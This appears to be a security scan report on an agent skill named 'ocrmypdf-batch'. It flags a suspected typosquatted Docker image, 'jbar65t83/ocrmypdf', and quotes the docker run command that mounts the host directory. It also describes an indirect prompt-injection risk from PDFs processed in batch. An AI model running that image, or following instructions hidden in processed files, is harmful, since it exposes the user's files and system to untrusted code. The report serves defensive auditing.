The Agent Skills Directory

[EXTERNAL_DOWNLOADS]: Detected a reference to an unofficial and suspicious Docker image 'jbar65t83/ocrmypdf' in the 'Batch with Docker' section. This appears to be a typosquat or impersonation of the legitimate 'jbarlow83/ocrmypdf' repository used in other examples within the same file.
[REMOTE_CODE_EXECUTION]: The instructions demonstrate how to download and execute code from a remote source via 'docker run --rm -v $(pwd):/data jbar65t83/ocrmypdf'. This allows an unverified container to run arbitrary logic on the host system with access to the local filesystem through volume mounting.
[COMMAND_EXECUTION]: The skill provides automated shell script templates and commands that execute Docker images and system binaries without verifying the integrity or authenticity of the source images.
[PROMPT_INJECTION]: The skill is vulnerable to indirect prompt injection due to its processing of untrusted external data with high-privilege capabilities.
Ingestion points: Shell loops and find commands ingest multiple files matching the '*.pdf' pattern for batch processing (SKILL.md).
Boundary markers: None; there are no instructions provided to the agent to disregard embedded commands or treat the PDF content as data rather than instructions.
Capability inventory: The skill has the ability to execute subprocesses via 'ocrmypdf', 'parallel', and 'docker' commands (SKILL.md).
Sanitization: No input validation, filename escaping, or content filtering is performed before processing the external files.

ocrmypdf-batch